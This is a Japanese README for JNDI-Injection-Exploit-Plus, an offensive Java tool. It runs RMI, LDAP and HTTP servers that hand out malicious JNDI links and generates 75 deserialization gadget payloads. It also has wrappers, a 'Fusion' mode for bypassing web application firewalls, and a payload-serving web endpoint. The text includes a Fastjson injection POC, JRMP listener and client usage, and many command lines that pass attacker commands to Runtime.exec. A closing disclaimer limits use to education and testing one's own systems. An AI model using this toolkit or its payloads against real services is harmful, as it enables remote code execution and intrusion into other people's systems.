JNDI-Injection-Exploit-Plus

中文 README

説明

JNDI-Injection-Exploit-Plus は、動作可能な JNDI リンク を生成し、RMI サーバー、LDAP サーバー、HTTP サーバーを起動してバックグラウンドサービスを提供するツールです。

このツールを使用すると、JNDI リンクを取得できます。これらのリンクを POC に挿入して、脆弱性をテストできます。

例えば、これは Fastjson の脆弱性 POC です：

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

"rmi://127.0.0.1:1099/Object" を JNDI-Injection-Exploit-Plus で生成されたリンクに置き換えて、脆弱性をテストできます。

さらに、JNDI-Injection-Exploit-Plus を使用して、ysoserial のように base64/hex 形式のペイロード を生成することもできます。

JNDI-Injection-Exploit との違い

JNDI-Injection-Exploit は素晴らしいツールで、これはそのプラスバージョンです。

強化点

1. より多くの JNDI リモート参照ガジェット: (合計: 3)

• JDK 6/7/8 をサポート

2. より多くの JNDI ローカル参照ガジェット: (合計: 4)

3. デシリアライゼーションガジェット (合計: 75)

補足: ysoserial よりも多くのガジェット (⬆️ ) があります。PR 大歓迎です！ ^_^

4. ペイロードの生成とエクスポート

ysoserial と同様に。

Base64 または HEX 形式の出力でデシリアライゼーションペイロードを生成できます。

5. ラッパー

デシリアライズデータをラップするためのいくつかのラッパー。

• 例

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusion

クラス名を隠して WAF をバイパスします。

• 例

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

参考: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

デシリアライズガジェットを返す Web サービス

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar

POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

補足: パラメータ wrapper と output はオプションです。

使い方

JNDI リンク

以下のように実行します。

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

ここで:

• -C - リモートクラスファイルで実行されるコマンド。

  (オプション、デフォルトコマンドは "open /Applications/Calculator.app")

• -A - サーバーのアドレス。IP アドレスまたはドメイン名。

  (オプション、デフォルトアドレスは最初のネットワークインターフェースのアドレス)

注意点:

• サーバーのポート (1099, 1389, 8180) が利用可能であることを確認してください。

  または、run.ServerStart クラスでデフォルトポートを変更できます。

• コマンドは Runtime.getRuntime().exec() にパラメータとして渡されます。

  そのため、コマンドが exec() メソッドで動作可能であることを確認してください。

  "bash -c ...." のような bash コマンドは二重引用符で囲む必要があります。

デシリアライゼーションペイロード

以下のように実行します。

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

ここで:

• -C - リモートクラスファイルで実行されるコマンド。

  (オプション、デフォルトコマンドは "open /Applications/Calculator.app")

• -D - デシリアライズガジェットのペイロード名。

• -O - (オプション) デシリアライズの出力形式、デフォルトは base64

デシリアライゼーションエクスプロイト

JRMP

• JRMPListener

java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc

• JRMPClient

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

例

JNDI リンク

ローカルデモ:

1. 以下のようにツールを起動します。

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   スクリーンショット:

   

2. ステップ 1 で生成された rmi://ADDRESS/remoteExploit8 のような JNDI リンクを、JNDI インジェクションで攻撃可能な脆弱なアプリケーションに注入したと仮定します。

   この例では、次のようになります。

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   このコードを実行すると、コマンドが実行され、

   シェルにログが出力されます。

   

その他の例: Test-JNDI-Injection-Exploit-Plus

デシリアライゼーションペイロード

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Base64 出力結果:

インストール

JAR を取得するには、次の 2 つの方法のいずれかを選択できます。

1. リリース から最新の JAR をダウンロードします。

2. ソースコードをクローンしてローカルでビルドします (Java 1.8+ および Maven 3.x+ が必要)。

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

補足: ‼️ "java.rmi.xxx が存在しません" のようなエラーが発生した場合は、JAVA_HOME 環境変数を設定してください。

免責事項

すべての情報とコードは、教育目的および/または自身のシステムのこれらの脆弱性をテストするためにのみ提供されます。